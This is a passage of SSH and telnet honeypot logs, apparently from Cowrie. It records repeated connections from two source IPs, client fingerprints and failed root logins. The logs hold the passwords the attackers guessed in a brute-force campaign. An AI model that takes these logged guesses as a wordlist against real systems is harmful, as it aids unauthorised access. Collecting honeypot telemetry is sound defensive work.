98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:56.954162Z","src_ip":"60.165.124.241","session":"a22acb02de80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa!123456","message":"login attempt [root/Aa!123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:57.723801Z","src_ip":"60.165.124.241","session":"a22acb02de80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:58.980662Z","src_ip":"60.165.124.241","session":"a22acb02de80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60764,"dst_ip":"10.17.0.5","dst_port":22,"session":"434e3d24257b","protocol":"ssh","message":"New connection: 60.165.124.241:60764 (10.17.0.5:22) [session: 434e3d24257b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:59.229781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:59.235137Z","src_ip":"60.165.124.241","session":"434e3d24257b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:00.218126Z","src_ip":"60.165.124.241","session":"434e3d24257b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.0047767162323,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:00.585530Z","src_ip":"198.58.117.211","session":"aba4430c7475","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":41716,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1190aa5b867","protocol":"telnet","message":"New connection: 198.58.117.211:41716 (10.17.0.5:23) [session: b1190aa5b867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:00.624331Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123...","message":"login attempt [root/Password123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:00.984936Z","src_ip":"60.165.124.241","session":"434e3d24257b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:02.242436Z","src_ip":"60.165.124.241","session":"434e3d24257b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36518,"dst_ip":"10.17.0.5","dst_port":22,"session":"84e8952b7394","protocol":"ssh","message":"New connection: 60.165.124.241:36518 (10.17.0.5:22) [session: 84e8952b7394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:02.484277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:02.493799Z","src_ip":"60.165.124.241","session":"84e8952b7394","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:02.742820Z","src_ip":"60.165.124.241","session":"84e8952b7394","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz....","message":"login attempt [root/1qaz....] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:03.468809Z","src_ip":"60.165.124.241","session":"84e8952b7394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:04.708776Z","src_ip":"60.165.124.241","session":"84e8952b7394","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39052,"dst_ip":"10.17.0.5","dst_port":22,"session":"83f57ea6575b","protocol":"ssh","message":"New connection: 60.165.124.241:39052 (10.17.0.5:22) [session: 83f57ea6575b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:04.943180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:04.948996Z","src_ip":"60.165.124.241","session":"83f57ea6575b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:05.187452Z","src_ip":"60.165.124.241","session":"83f57ea6575b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.00450587272644,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:05.628567Z","src_ip":"198.58.117.211","session":"b1190aa5b867","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":52656,"dst_ip":"10.17.0.5","dst_port":23,"session":"413f450a649f","protocol":"telnet","message":"New connection: 198.58.117.211:52656 (10.17.0.5:23) [session: 413f450a649f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:05.669002Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#qwe123QWE","message":"login attempt [root/!@#qwe123QWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:05.919075Z","src_ip":"60.165.124.241","session":"83f57ea6575b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:07.160586Z","src_ip":"60.165.124.241","session":"83f57ea6575b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41970,"dst_ip":"10.17.0.5","dst_port":22,"session":"e49d3f205e15","protocol":"ssh","message":"New connection: 60.165.124.241:41970 (10.17.0.5:22) [session: e49d3f205e15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:07.392644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:07.397224Z","src_ip":"60.165.124.241","session":"e49d3f205e15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:07.633342Z","src_ip":"60.165.124.241","session":"e49d3f205e15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vp.123","message":"login attempt [root/vp.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:08.360309Z","src_ip":"60.165.124.241","session":"e49d3f205e15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:09.607840Z","src_ip":"60.165.124.241","session":"e49d3f205e15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44868,"dst_ip":"10.17.0.5","dst_port":22,"session":"3046d3813a27","protocol":"ssh","message":"New connection: 60.165.124.241:44868 (10.17.0.5:22) [session: 3046d3813a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:09.854696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:09.859827Z","src_ip":"60.165.124.241","session":"3046d3813a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:10.109004Z","src_ip":"60.165.124.241","session":"3046d3813a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.005031585693359,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:10.673940Z","src_ip":"198.58.117.211","session":"413f450a649f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":52766,"dst_ip":"10.17.0.5","dst_port":23,"session":"93d127fbbeb4","protocol":"telnet","message":"New connection: 198.58.117.211:52766 (10.17.0.5:23) [session: 93d127fbbeb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:10.719356Z"}
{"eventid":"cowrie.session.closed","duration":0.005948305130004883,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:10.725155Z","src_ip":"198.58.117.211","session":"93d127fbbeb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":52780,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3c6376b5dc8","protocol":"telnet","message":"New connection: 198.58.117.211:52780 (10.17.0.5:23) [session: f3c6376b5dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:10.810194Z"}
{"eventid":"cowrie.session.closed","duration":0.00478053092956543,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:10.814854Z","src_ip":"198.58.117.211","session":"f3c6376b5dc8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"amazon","message":"login attempt [root/amazon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:10.833715Z","src_ip":"60.165.124.241","session":"3046d3813a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":52792,"dst_ip":"10.17.0.5","dst_port":23,"session":"b602d7bf7923","protocol":"telnet","message":"New connection: 198.58.117.211:52792 (10.17.0.5:23) [session: b602d7bf7923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:10.899668Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:12.075292Z","src_ip":"60.165.124.241","session":"3046d3813a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47746,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f773d7f0a1e","protocol":"ssh","message":"New connection: 60.165.124.241:47746 (10.17.0.5:22) [session: 2f773d7f0a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:12.308487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:12.313344Z","src_ip":"60.165.124.241","session":"2f773d7f0a1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:12.555765Z","src_ip":"60.165.124.241","session":"2f773d7f0a1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adam","message":"login attempt [root/adam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:13.282379Z","src_ip":"60.165.124.241","session":"2f773d7f0a1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:14.525869Z","src_ip":"60.165.124.241","session":"2f773d7f0a1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50646,"dst_ip":"10.17.0.5","dst_port":22,"session":"85cb6ce23def","protocol":"ssh","message":"New connection: 60.165.124.241:50646 (10.17.0.5:22) [session: 85cb6ce23def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:14.765765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:14.775685Z","src_ip":"60.165.124.241","session":"85cb6ce23def","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:15.011398Z","src_ip":"60.165.124.241","session":"85cb6ce23def","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.004185676574707,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:15.903756Z","src_ip":"198.58.117.211","session":"b602d7bf7923","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":41866,"dst_ip":"10.17.0.5","dst_port":23,"session":"136ca7572970","protocol":"telnet","message":"New connection: 198.58.117.211:41866 (10.17.0.5:23) [session: 136ca7572970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:15.945563Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1password","message":"login attempt [root/1password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:15.983157Z","src_ip":"60.165.124.241","session":"85cb6ce23def","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:17.225510Z","src_ip":"60.165.124.241","session":"85cb6ce23def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53644,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0decc5d32a6","protocol":"ssh","message":"New connection: 60.165.124.241:53644 (10.17.0.5:22) [session: b0decc5d32a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:17.456733Z"}
